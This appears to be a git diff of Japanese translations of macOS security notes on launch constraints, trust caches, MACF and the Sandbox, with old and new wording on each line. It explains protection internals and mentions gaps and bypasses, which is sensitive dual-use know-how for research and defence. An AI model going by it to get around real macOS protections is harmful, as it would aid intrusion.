ライブラリをロードする際に**ライブラリ制約の一部が真でない**場合、プロセスは**ライブラリをロードしません**。 ライブラリをロードする際に**ライブラリ制約の一部が真でない場合**、プロセスは**ライブラリをロードしません**。
## LCカテゴリ ## LCカテゴリ
LCは**事実**と**論理演算**and、or..)で構成され、事実を組み合わせます。 LCは**事実**と**論理演算**and、or..)で構成され、事実を組み合わせます。
[**LCが使用できる事実は文書化されています**](https://developer.apple.com/documentation/security/defining_launch_environment_and_library_constraints)。例えば: [**LCが使用できる事実は文書化されています**](https://developer.apple.com/documentation/security/defining_launch_environment_and_library_constraints)。例えば:
@ -54,7 +54,7 @@ Parent Constraint: is-init-proc
### LCカテゴリの逆解析 ### LCカテゴリの逆解析
詳細については[**こちら**](https://theevilbit.github.io/posts/launch_constraints_deep_dive/#reversing-constraints)を参照してくださいが、基本的には、これらは**AMFI (AppleMobileFileIntegrity)**で定義されているため、**KEXT**を取得するにはKernel Development Kitをダウンロードする必要があります。**`kConstraintCategory`**で始まるシンボルが**興味深い**ものです。それらを抽出すると、デコードする必要があるDER (ASN.1)エンコードストリームが得られます。これは[ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php)またはpython-asn1ライブラリとその`dump.py`スクリプト、[andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master)を使用して、より理解しやすい文字列を得ることができます。 詳細については[**こちら**](https://theevilbit.github.io/posts/launch_constraints_deep_dive/#reversing-constraints)ありますが、基本的には、これらは**AMFI (AppleMobileFileIntegrity)**で定義されているため、**KEXT**を取得するにはKernel Development Kitをダウンロードする必要があります。**`kConstraintCategory`**で始まるシンボルが**興味深い**ものです。それらを抽出すると、デコードする必要があるDER (ASN.1)エンコードストリームが得られます。これは[ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php)またはpython-asn1ライブラリとその`dump.py`スクリプト、[andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master)を使用して、より理解しやすい文字列を得ることができます。
## 環境制約 ## 環境制約
@ -75,7 +75,7 @@ codesign -d -vvvv app.app
iOS では **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`** にあるようです。 iOS では **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`** にあるようです。
> [!WARNING] > [!WARNING]
> Apple Silicon デバイス上の macOS では、Apple 署名のバイナリが信頼キャッシュにない場合、AMFI はそれを読み込むことを拒否します。 > Apple Silicon デバイス上の macOS では、Apple 署名のバイナリが信頼キャッシュにない場合、AMFI はそれをロードすることを拒否します。
### 信頼キャッシュの列挙 ### 信頼キャッシュの列挙
@ -97,9 +97,9 @@ pyimg4 im4p extract -i /tmp/StaticTrustCache.im4p -o /tmp/StaticTrustCache.data
pyimg4 im4p extract -i /System/Library/Security/OSLaunchPolicyData -o /tmp/OSLaunchPolicyData.data pyimg4 im4p extract -i /System/Library/Security/OSLaunchPolicyData -o /tmp/OSLaunchPolicyData.data
``` ```
(別のオプションは、ツール [**img4tool**](https://github.com/tihmstar/img4tool) を使用することで、リリースが古くても M1 で実行でき、適切な場所にインストールすれば x86_64 でも実行できます)。 (別のオプションは、ツール [**img4tool**](https://github.com/tihmstar/img4tool) を使用することで、リリースが古くてもM1で実行でき、適切な場所にインストールすればx86_64でも実行できます
今、ツール [**trustcache**](https://github.com/CRKatri/trustcache) を使用して、読みやすい形式で情報を取得できます: 今、ツール [**trustcache**](https://github.com/CRKatri/trustcache) を使用して、情報を読みやすい形式で取得できます:
```bash ```bash
# Install # Install
wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64 wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64
@ -143,16 +143,16 @@ Launch Constraintsは、**プロセスが予期しない条件で実行されな
さらに、Launch Constraintsは**ダウングレード攻撃も緩和します。** さらに、Launch Constraintsは**ダウングレード攻撃も緩和します。**
しかし、これらは**一般的なXPC**の悪用、**Electron**コードの注入、または**ライブラリの検証なしのdylib注入**を緩和するものではありませんライブラリを読み込むことができるチームIDが知られている場合を除く)。 しかし、**一般的なXPC**の悪用、**Electron**コードの注入、または**ライブラリ検証なしのdylib注入**を緩和することはありませんライブラリを読み込むことができるチームIDが知られていない限り)。
### XPCデーモン保護 ### XPCデーモン保護
Sonomaリリースでは、デーモンXPCサービスの**責任構成**が注目されます。XPCサービスは自分自身に対して責任を持ち、接続クライアントが責任を持つのではありません。これはフィードバックレポートFB13206884に文書化されています。この設定は欠陥があるように見えるかもしれませんが、特定のXPCサービスとの相互作用を許可します Sonomaリリースでは、デーモンXPCサービスの**責任構成**が注目されます。XPCサービスは自分自身に対して責任を持ち、接続クライアントが責任を持つのではありません。これはフィードバックレポートFB13206884に文書化されています。この設定は欠陥があるように見えるかもしれませんが、特定のXPCサービスとの相互作用を許可します
- **XPCサービスの起動**バグと見なされる場合、この設定は攻撃者のコードを通じてXPCサービスを起動することを許可しません。 - **XPCサービスの起動**バグと見なされる場合、この設定は攻撃者のコードを通じてXPCサービスを起動することを許可しません。
- **アクティブサービスへの接続**XPCサービスがすでに実行中元のアプリケーションによって起動された可能性があ)であれば、接続するための障壁はありません。 - **アクティブサービスへの接続**XPCサービスがすでに実行中元のアプリケーションによって起動された可能性があります)であれば、接続するための障壁はありません。
XPCサービスに制約を実装することは、**潜在的な攻撃のウィンドウを狭める**ことで有益かもしれませんが、主要な懸念には対処していません。XPCサービスのセキュリティを確保するには、**接続クライアントを効果的に検証することが根本的に必要です。** これがサービスのセキュリティを強化する唯一の方法です。また、言及された責任構成は現在機能していることに注意する価値がありますが、意図された設計とは一致しない可能性があります XPCサービスに制約を実装することは、**潜在的な攻撃のウィンドウを狭める**ことで有益かもしれませんが、主要な懸念には対処していません。XPCサービスのセキュリティを確保するには、**接続クライアントを効果的に検証することが根本的に必要です。** これがサービスのセキュリティを強化する唯一の方法です。また、言及された責任構成は現在機能していることに注意する価値がありますが、意図された設計とは一致しないかもしれません
### Electron保護 ### Electron保護

View File

@ -4,18 +4,18 @@
## 基本情報 ## 基本情報
**MACF**は**Mandatory Access Control Framework**の略で、コンピュータを保護するためにオペレーティングシステムに組み込まれたセキュリティシステムです。これは、**特定のシステムの部分にアクセスできる人や物について厳格なルールを設定することによって機能します**。これらのルールを自動的に施行することで、MACFは認可されたユーザーとプロセスのみが特定のアクションを実行できるようにし、不正アクセスや悪意のある活動のリスクを減少させます。 **MACF**は**Mandatory Access Control Framework**の略で、コンピュータを保護するためにオペレーティングシステムに組み込まれたセキュリティシステムです。これは、**特定のシステムの部分にアクセスできるのは誰または何かに関する厳格なルールを設定することによって機能します**。これらのルールを自動的に強制することにより、MACFは認可されたユーザーとプロセスのみが特定のアクションを実行できるようにし、不正アクセスや悪意のある活動のリスクを減少させます。
MACFは実際には決定を下すわけではなく、**アクションを傍受する**だけであり、決定は呼び出す**ポリシーモジュール**(カーネル拡張)に委ねられます。例えば`AppleMobileFileIntegrity.kext``Quarantine.kext``Sandbox.kext``TMSafetyNet.kext``mcxalr.kext`などです。 MACFは実際には決定を下さず、**アクションを傍受する**だけであり、`AppleMobileFileIntegrity.kext``Quarantine.kext``Sandbox.kext``TMSafetyNet.kext`および`mcxalr.kext`のような**ポリシーモジュール**(カーネル拡張)に決定を委ねています。
### フロー ### フロー
1. プロセスがsyscall/machトラップを実行す 1. プロセスがsyscall/machトラップを実行しま
2. 関連する関数がカーネル内で呼び出され 2. 関連する関数がカーネル内で呼び出されます
3. 関数がMACFを呼び出す 3. 関数がMACFを呼び出しま
4. MACFはその関数をフックするように要求したポリシーモジュールをチェックす 4. MACFはその関数をフックするように要求したポリシーモジュールをチェックしま
5. MACFは関連するポリシーを呼び出す 5. MACFは関連するポリシーを呼び出しま
6. ポリシーはアクションを許可するか拒否するかを示す 6. ポリシーはアクションを許可するか拒否するかを示しま
> [!CAUTION] > [!CAUTION]
> AppleだけがMAC Framework KPIを使用できます。 > AppleだけがMAC Framework KPIを使用できます。
@ -28,7 +28,7 @@ MACFは**ラベル**を使用し、その後ポリシーがアクセスを許可
MACFポリシーは**特定のカーネル操作に適用されるルールと条件を定義します**。&#x20; MACFポリシーは**特定のカーネル操作に適用されるルールと条件を定義します**。&#x20;
カーネル拡張は`mac_policy_conf`構造体を設定し、次に`mac_policy_register`を呼び出して登録することができます。[こちら](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html)から。 カーネル拡張は`mac_policy_conf`構造体を構成し、次に`mac_policy_register`を呼び出して登録できます。ここから[こちら](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
```c ```c
#define mpc_t struct mac_policy_conf * #define mpc_t struct mac_policy_conf *
@ -69,7 +69,7 @@ void *mpc_data; /** module data */
MACFポリシーは**動的に**登録および登録解除することもできることに注意してください。 MACFポリシーは**動的に**登録および登録解除することもできることに注意してください。
`mac_policy_conf`の主なフィールドの1つは**`mpc_ops`**です。このフィールドは、ポリシーが関心を持つ操作を指定します。数百の操作があるため、すべてをゼロに設定し、ポリシーが関心を持つものだけを選択することが可能です。[こちら](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html)から `mac_policy_conf`の主なフィールドの1つは**`mpc_ops`**です。このフィールドは、ポリシーが関心を持つ操作を指定します。数百の操作があるため、すべてをゼロに設定し、ポリシーが関心を持つものだけを選択することが可能です。 [ここ](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html)から:
```c ```c
struct mac_policy_ops { struct mac_policy_ops {
mpo_audit_check_postselect_t *mpo_audit_check_postselect; mpo_audit_check_postselect_t *mpo_audit_check_postselect;
@ -82,27 +82,27 @@ mpo_cred_check_label_update_execve_t *mpo_cred_check_label_update_execve;
mpo_cred_check_label_update_t *mpo_cred_check_label_update; mpo_cred_check_label_update_t *mpo_cred_check_label_update;
[...] [...]
``` ```
ほとんどすべてのフックは、これらの操作がインターセプトされるときにMACFによってコールバックされます。しかし、**`mpo_policy_*`** フックは例外であり、`mpo_hook_policy_init()` は登録時に呼び出されるコールバックで(したがって、`mac_policy_register()` の後)であり`mpo_hook_policy_initbsd()` はBSDサブシステムが適切に初期化された後の遅延登録中に呼び出されます。 ほとんどすべてのフックは、これらの操作がインターセプトされるときにMACFによってコールバックされます。しかし、**`mpo_policy_*`** フックは例外であり、`mpo_hook_policy_init()`は登録時に呼び出されるコールバックであり(したがって、`mac_policy_register()`の後)、`mpo_hook_policy_initbsd()`はBSDサブシステムが適切に初期化された後の遅延登録中に呼び出されます。
さらに、**`mpo_policy_syscall`** フックは、プライベートな **ioctl** スタイルの呼び出し **インターフェース** を公開するために任意のkextによって登録できます。これにより、ユーザクライアントは、整数 **コード** とオプションの **引数** を指定して **ポリシー名** をパラメータとして `mac_syscall` (#381) を呼び出すことができます。\ さらに、**`mpo_policy_syscall`** フックは、プライベートな**ioctl**スタイルの呼び出し**インターフェース**を公開するために任意のkextによって登録できます。これにより、ユーザクライアントは、整数の**コード**とオプションの**引数**を指定して**ポリシー名**をパラメータとして`mac_syscall` (#381)を呼び出すことができます。\
例えば、**`Sandbox.kext`** はこれを多く使用します。 例えば、**`Sandbox.kext`**はこれを多く使用します。
kextの **`__DATA.__const*`** をチェックすることで、ポリシーを登録する際に使用される `mac_policy_ops` 構造体を特定することが可能です。そのポインタは `mpo_policy_conf` 内のオフセットにあり、その領域にNULLポインタが多数存在するため、見つけることができます。 kextの**`__DATA.__const*`**をチェックすることで、ポリシーを登録する際に使用される`mac_policy_ops`構造体を特定することが可能です。そのポインタは`mpo_policy_conf`内のオフセットにあり、その領域にNULLポインタが多数存在するため、見つけることができます。
さらに、登録されたポリシーごとに更新される構造体 **`_mac_policy_list`** からメモリをダンプすることで、ポリシーを構成したkextのリストを取得することも可能です。 さらに、登録されたポリシーごとに更新される構造体**`_mac_policy_list`**からメモリをダンプすることで、ポリシーを構成したkextのリストを取得することも可能です。
## MACFの初期化 ## MACFの初期化
MACFは非常に早く初期化されます。XNUの `bootstrap_thread` でセットアップされ、`ipc_bootstrap` の後に `mac_policy_init()` が呼び出され、`mac_policy_list` が初期化され、その後すぐに `mac_policy_initmach()` が呼び出されます。この関数は、`Info.plist` `AppleSecurityExtension` キーを持つすべてのApple kext`ALF.kext``AppleMobileFileIntegrity.kext``Quarantine.kext``Sandbox.kext``TMSafetyNet.kext` など)を取得してロードします。 MACFは非常に早く初期化されます。XNUの`bootstrap_thread`で設定され、`ipc_bootstrap`の後に`mac_policy_init()`が呼び出され、`mac_policy_list`が初期化され、その後すぐに`mac_policy_initmach()`が呼び出されます。この関数は、`Info.plist``AppleSecurityExtension`キーを持つすべてのApple kext`ALF.kext``AppleMobileFileIntegrity.kext``Quarantine.kext``Sandbox.kext``TMSafetyNet.kext`など)を取得してロードします。
## MACFコールアウト ## MACFコールアウト
コード内で **`#if CONFIG_MAC`** 条件ブロックのように定義されたMACFへのコールアウトを見つけることは一般的です。さらに、これらのブロック内では、特定のアクションを実行するための **権限を確認する** ためにMACFを呼び出す `mac_proc_check*` への呼び出しを見つけることができます。さらに、MACFコールアウトの形式は **`mac_<object>_<opType>_opName`** です。 コード内で**`#if CONFIG_MAC`**条件ブロックのように定義されたMACFへのコールアウトを見つけることは一般的です。さらに、これらのブロック内では、特定のアクションを実行するための**権限を確認する**ためにMACFを呼び出す`mac_proc_check*`への呼び出しを見つけることができます。さらに、MACFコールアウトの形式は**`mac_<object>_<opType>_opName`**です。
オブジェクトは次のいずれかです:`bpfdesc``cred``file``proc``vnode``mount``devfs``ifnet``inpcb``mbuf``ipq``pipe``sysv[msg/msq/shm/sem]``posix[shm/sem]``socket``kext`。\ オブジェクトは次のいずれかです:`bpfdesc``cred``file``proc``vnode``mount``devfs``ifnet``inpcb``mbuf``ipq``pipe``sysv[msg/msq/shm/sem]``posix[shm/sem]``socket``kext`。\
`opType` は通常、アクションを許可または拒否するために使用されるチェックです。ただし、与えられたアクションに反応するためにkextを許可する `notify` を見つけることも可能です。 `opType`は通常、アクションを許可または拒否するために使用されるcheckです。ただし、与えられたアクションに反応するためにkextを許可するnotifyを見つけることも可能です。
[https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_mman.c#L621](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_mman.c#L621) で例を見つけることができます: [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_mman.c#L621](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_mman.c#L621)に例があります:
<pre class="language-c"><code class="lang-c">int <pre class="language-c"><code class="lang-c">int
mmap(proc_t p, struct mmap_args *uap, user_addr_t *retval) mmap(proc_t p, struct mmap_args *uap, user_addr_t *retval)
@ -120,7 +120,7 @@ goto bad;
[...] [...]
</code></pre> </code></pre>
次に、[https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_file.c#L174](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_file.c#L174) `mac_file_check_mmap` のコードを見つけることができます。 次に、[https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_file.c#L174](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_file.c#L174)で`mac_file_check_mmap`のコードを見つけることができます。
```c ```c
mac_file_check_mmap(struct ucred *cred, struct fileglob *fg, int prot, mac_file_check_mmap(struct ucred *cred, struct fileglob *fg, int prot,
int flags, uint64_t offset, int *maxprot) int flags, uint64_t offset, int *maxprot)
@ -164,13 +164,12 @@ error = mac_error_select(__step_err, error); \
> >
> ```c > ```c
> /* > /*
> * MAC_GRANTは、ポリシー > * MAC_GRANTは、ポリシーモジュールリストを歩きながら
> * モジュールリストを歩き、各ポリシーが > * 各ポリシーがリクエストについてどう感じているかを確認することによって
> * リクエストについてどう感じているかを確認することによって
> * 指定されたチェックを実行します。MAC_CHECKとは異なり、 > * 指定されたチェックを実行します。MAC_CHECKとは異なり、
> * いずれかのポリシーが'0'を返す場合は付与し、 > * いずれかのポリシーが'0'を返す場合は付与し、
> * そうでない場合はEPERMを返します。呼び出し元の > * そうでない場合はEPERMを返します。呼び出し元のスコープ内で
> * スコープ内で'error'を介してその値を返すことに注意してください。 > * 'error'を介してその値を返すことに注意してください。
> */ > */
> #define MAC_GRANT(check, args...) do { \ > #define MAC_GRANT(check, args...) do { \
> error = EPERM; \ > error = EPERM; \
@ -190,7 +189,7 @@ error = mac_error_select(__step_err, error); \
### priv_check & priv_grant ### priv_check & priv_grant
これらの呼び出しは、[**bsd/sys/priv.h**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/priv.h)で定義された(数十の)**特権**をチェックし、提供することを目的としています。\ これらの呼び出しは、[**bsd/sys/priv.h**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/priv.h)で定義された(数十の)**特権**をチェックし、提供することを目的としています。\
一部のカーネルコードは、プロセスのKAuth資格情報と特権コードのいずれかを使用して、[**bsd/kern/kern_priv.c**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_priv.c)から`priv_check_cred()`を呼び出し、ポリシーが特権を付与することを**拒否**るかどうかを確認するために`mac_priv_check`を呼び出し、その後`mac_priv_grant`を呼び出して、ポリシーが`privilege`を付与するかどうかを確認します。 一部のカーネルコードは、プロセスのKAuth資格情報と特権コードのいずれかを使用して、[**bsd/kern/kern_priv.c**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_priv.c)から`priv_check_cred()`を呼び出し、ポリシーが特権を付与することを**拒否**しているかどうかを確認するために`mac_priv_check`を呼び出し、その後`mac_priv_grant`を呼び出して、ポリシーが`privilege`を付与するかどうかを確認します。
### proc_check_syscall_unix ### proc_check_syscall_unix

View File

@ -4,13 +4,13 @@
## 基本情報 ## 基本情報
MacOS Sandbox最初はSeatbeltと呼ばれていましたは、**サンドボックス内で実行されるアプリケーション**を、アプリが実行されている**サンドボックスプロファイルで指定された許可されたアクション**に**制限**します。これにより、**アプリケーションが予期されるリソースのみをアクセスすることが保証されます**。 MacOS Sandbox最初はSeatbeltと呼ばれていましたは、**サンドボックス内で実行されるアプリケーションを、アプリが実行されているサンドボックスプロファイルで指定された**許可されたアクションに**制限します**。これにより、**アプリケーションが予期されるリソースのみをアクセスすることが保証されます**。
**`com.apple.security.app-sandbox`**という**権限**を持つアプリは、サンドボックス内で実行されます。**Appleのバイナリ**は通常サンドボックス内で実行され、**App Store**のすべてのアプリケーションはその権限を持っています。したがって、いくつかのアプリケーションはサンドボックス内で実行されます。 **`com.apple.security.app-sandbox`**という**権限**を持つアプリは、サンドボックス内で実行されます。**Appleのバイナリ**は通常サンドボックス内で実行され、**App Storeのすべてのアプリケーションはその権限を持っています**。したがって、いくつかのアプリケーションはサンドボックス内で実行されます。
プロセスが何をできるか、またはできないかを制御するために、**サンドボックスはほぼすべての操作にフック**を持っています(ほとんどのシステムコールを含む)**MACF**を使用しています。ただし、アプリの**権限**に応じて、サンドボックスはプロセスに対してより許可的になる場合があります。 プロセスが何をできるか、またはできないかを制御するために、**サンドボックスはほぼすべての操作にフックを持っています**(ほとんどのシステムコールを含む)**MACF**を使用しています。しかし、アプリの**権限**に応じて、サンドボックスはプロセスに対してより許可的になる場合があります。
サンドボックスの重要なコンポーネントは次のとおりです: サンドボックスの重要なコンポーネントは以下の通りです:
- **カーネル拡張** `/System/Library/Extensions/Sandbox.kext` - **カーネル拡張** `/System/Library/Extensions/Sandbox.kext`
- **プライベートフレームワーク** `/System/Library/PrivateFrameworks/AppSandbox.framework` - **プライベートフレームワーク** `/System/Library/PrivateFrameworks/AppSandbox.framework`
@ -54,7 +54,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
drwx------ 2 username staff 64 Mar 24 18:02 tmp drwx------ 2 username staff 64 Mar 24 18:02 tmp
``` ```
> [!CAUTION] > [!CAUTION]
> サンドボックスから「脱出」して他のフォルダにアクセスするためにシンボリックリンクがあっても、アプリはそれらにアクセスするための**権限を持っている必要があります**。これらの権限は`RedirectablePaths`の**`.plist`**内にあります。 > サンドボックスから「脱出」して他のフォルダにアクセスするためにシンボリックリンクがあっても、アプリはそれらにアクセスするための**権限を持っている必要があります**。これらの権限は`RedirectablePaths`の**`.plist`**内にあります。
**`SandboxProfileData`**は、B64にエスケープされたコンパイル済みサンドボックスプロファイルCFDataです。 **`SandboxProfileData`**は、B64にエスケープされたコンパイル済みサンドボックスプロファイルCFDataです。
```bash ```bash
@ -131,19 +131,19 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
) )
``` ```
> [!TIP] > [!TIP]
> この[**研究**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/)を確認して、許可または拒否される可能性のあるアクションをさらに確認してください。 > この[**研究**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/)を確認して、許可または拒否される可能性のあるアクションを確認してください。
> >
> プロファイルのコンパイル版では、操作の名前がdylibおよびkextによって知られている配列のエントリに置き換えられ、コンパイル版が短く、読みづらくなります。 > プロファイルのコンパイル版では、操作の名前がdylibおよびkextによって知られている配列のエントリに置き換えられ、コンパイル版が短く、読みづらくなります。
重要な**システムサービス**`mdnsresponder`サービスのように独自のカスタム**サンドボックス**内で実行されます。これらのカスタム**サンドボックスプロファイル**は以下で確認できます: 重要な**システムサービス**`mdnsresponder`サービスのように独自のカスタム**サンドボックス**内で実行されます。これらのカスタム**サンドボックスプロファイル**は以下で確認できます:
- **`/usr/share/sandbox`** - **`/usr/share/sandbox`**
- **`/System/Library/Sandbox/Profiles`** - **`/System/Library/Sandbox/Profiles`**
- その他のサンドボックスプロファイルは[https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles)で確認できます。 - 他のサンドボックスプロファイルは[https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles)で確認できます。
**App Store**アプリは**プロファイル****`/System/Library/Sandbox/Profiles/application.sb`**を使用します。このプロファイルで、**`com.apple.security.network.server`**のような権限がプロセスにネットワークを使用することを許可する方法を確認できます。 **App Store**アプリは**プロファイル****`/System/Library/Sandbox/Profiles/application.sb`**を使用します。このプロファイルで、**`com.apple.security.network.server`**のような権限がプロセスにネットワークを使用することを許可する方法を確認できます。
次に、一部の**Appleデーモンサービス**は、`/System/Library/Sandbox/Profiles/*.sb`または`/usr/share/sandbox/*.sb`にある異なるプロファイルを使用します。これらのサンドボックスは、API `sandbox_init_XXX`を呼び出すメイン関数適用されます。 次に、一部の**Appleデーモンサービス**は、`/System/Library/Sandbox/Profiles/*.sb`または`/usr/share/sandbox/*.sb`にある異なるプロファイルを使用します。これらのサンドボックスは、API `sandbox_init_XXX`を呼び出すメイン関数適用されます。
**SIP**は、`/System/Library/Sandbox/rootless.conf`にあるplatform_profileというサンドボックスプロファイルです。 **SIP**は、`/System/Library/Sandbox/rootless.conf`にあるplatform_profileというサンドボックスプロファイルです。
@ -200,7 +200,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
{{#endtabs}} {{#endtabs}}
> [!NOTE] > [!NOTE]
> **Apple**が作成した**ソフトウェア**は**Windows**上で**追加のセキュリティ対策**、例えばアプリケーションサンドボックスがありません > **Apple**が作成した**ソフトウェア**は**Windows**上で**追加のセキュリティ対策**を持っていないことに注意してください。アプリケーションサンドボックスなど
バイパスの例: バイパスの例:
@ -220,13 +220,13 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
```bash ```bash
sandbox-exec -f /tmp/trace.sb /bin/ls sandbox-exec -f /tmp/trace.sb /bin/ls
``` ```
`/tmp/trace.out` では、呼び出されるたびに実行され各サンドボックスチェックを見ることができます(つまり、多くの重複があります)。 `/tmp/trace.out` では、呼び出されるたびに実行され各サンドボックスチェックを見ることができます(つまり、多くの重複があります)。
**`-t`** パラメータを使用してサンドボックスをトレースすることも可能です: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls` **`-t`** パラメータを使用してサンドボックスをトレースすることも可能です: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
#### API経由 #### API経由
`libsystem_sandbox.dylib` にエクスポートされている関数 `sandbox_set_trace_path` は、サンドボックスチェックが書き込まれるトレースファイル名を指定することを可能にします。\ `libsystem_sandbox.dylib` にエクスポートされ関数 `sandbox_set_trace_path` は、サンドボックスチェックが書き込まれるトレースファイル名を指定することを可能にします。\
`sandbox_vtrace_enable()` を呼び出し、その後 `sandbox_vtrace_report()` を呼び出してバッファからログエラーを取得することでも、同様のことが可能です。 `sandbox_vtrace_enable()` を呼び出し、その後 `sandbox_vtrace_report()` を呼び出してバッファからログエラーを取得することでも、同様のことが可能です。
### サンドボックス検査 ### サンドボックス検査
@ -243,7 +243,7 @@ iOS では、デフォルトプロファイルは **container** と呼ばれ、S
### App Store アプリのカスタム SBPL ### App Store アプリのカスタム SBPL
企業が **カスタムサンドボックスプロファイル** でアプリを実行することが可能かもしれませんデフォルトのものではなく。彼らは、Apple によって承認される必要がある権限 **`com.apple.security.temporary-exception.sbpl`** を使用する必要があります。 企業が **カスタムサンドボックスプロファイル** でアプリを実行することが可能かもしれませんデフォルトのものではなく。彼らは、Apple によって承認される必要がある **`com.apple.security.temporary-exception.sbpl`** 権限を使用する必要があります。
この権限の定義は **`/System/Library/Sandbox/Profiles/application.sb:`** で確認できます。 この権限の定義は **`/System/Library/Sandbox/Profiles/application.sb:`** で確認できます。
```scheme ```scheme
@ -253,19 +253,19 @@ iOS では、デフォルトプロファイルは **container** と呼ばれ、S
(let* ((port (open-input-string string)) (sbpl (read port))) (let* ((port (open-input-string string)) (sbpl (read port)))
(with-transparent-redirection (eval sbpl))))) (with-transparent-redirection (eval sbpl)))))
``` ```
この権限の後にある文字列は、Sandboxプロファイルとして**eval**されます。 この権限の後文字列は、Sandboxプロファイルとして**eval**されます。
### Sandboxプロファイルのコンパイルとデコンパイル ### Sandboxプロファイルのコンパイルとデコンパイル
**`sandbox-exec`**ツールは、`libsandbox.dylib``sandbox_compile_*`関数を使用します。エクスポートされる主な関数は次のとおりです:`sandbox_compile_file`(ファイルパスを期待、パラメータ`-f`)、`sandbox_compile_string`(文字列を期待、パラメータ`-p`)、`sandbox_compile_name`(コンテナの名前を期待、パラメータ`-n`)、`sandbox_compile_entitlements`権限plistを期待 **`sandbox-exec`**ツールは、`libsandbox.dylib``sandbox_compile_*`関数を使用します。エクスポートされる主な関数は次のとおりです:`sandbox_compile_file`(ファイルパスを期待、パラメータ`-f`)、`sandbox_compile_string`(文字列を期待、パラメータ`-p`)、`sandbox_compile_name`(コンテナの名前を期待、パラメータ`-n`)、`sandbox_compile_entitlements`権限plistを期待
この逆コンパイルされた[**sandbox-execツールのオープンソース版**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c)は、**`sandbox-exec`**がコンパイルされたSandboxプロファイルをファイルに書き込むことを可能にします。 この逆コンパイルされた[**オープンソース版のsandbox-execツール**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c)は、**`sandbox-exec`**がコンパイルされたSandboxプロファイルをファイルに書き込むことを可能にします。
さらに、プロセスをコンテナ内に制限するために、`sandbox_spawnattrs_set[container/profilename]`を呼び出し、コンテナまたは既存のプロファイルを渡すことがあります。 さらに、プロセスをコンテナ内に制限するために、`sandbox_spawnattrs_set[container/profilename]`を呼び出し、コンテナまたは既存のプロファイルを渡すことがあります。
## Sandboxのデバッグとバイパス ## Sandboxのデバッグとバイパス
macOSでは、プロセスがカーネルによって最初からサンドボックス化されるiOSとは異なり、**プロセスは自らサンドボックスに参加する必要があります**。これは、macOSではプロセスが自らサンドボックスに入ることを積極的に決定するまで、サンドボックスによって制限されないことを意味しますが、App Storeアプリは常にサンドボックス化されています。 macOSでは、プロセスがカーネルによって最初からサンドボックス化されるiOSとは異なり、**プロセスは自らサンドボックスに参加する必要があります**。これは、macOSではプロセスが積極的にサンドボックスに入ることを決定するまで、サンドボックスによって制限されないことを意味しますが、App Storeアプリは常にサンドボックス化されています。
プロセスは、権限`com.apple.security.app-sandbox`を持っている場合、ユーザーランドから自動的にサンドボックス化されます。このプロセスの詳細な説明については、次を確認してください: プロセスは、権限`com.apple.security.app-sandbox`を持っている場合、ユーザーランドから自動的にサンドボックス化されます。このプロセスの詳細な説明については、次を確認してください:
@ -287,7 +287,7 @@ macos-sandbox-debug-and-bypass/
拡張は、プロセスの資格情報からアクセス可能な2番目のMACFラベルスロットに保存されます。次の**`sbtool`**がこの情報にアクセスできます。 拡張は、プロセスの資格情報からアクセス可能な2番目のMACFラベルスロットに保存されます。次の**`sbtool`**がこの情報にアクセスできます。
拡張は通常、許可されたプロセスによって付与されることに注意してください。たとえば、`tccd`は、プロセスが写真にアクセスし、XPCメッセージで許可された場合、`com.apple.tcc.kTCCServicePhotos`の拡張トークンを付与します。その後、プロセスは拡張トークンを消費する必要があり、それが追加されます。\ 拡張は通常、許可されたプロセスによって付与されることに注意してください。たとえば、`tccd`は、プロセスが写真にアクセスしようとし、XPCメッセージで許可された場合`com.apple.tcc.kTCCServicePhotos`の拡張トークンを付与します。その後、プロセスは拡張トークンを消費する必要があり、それが追加されます。\
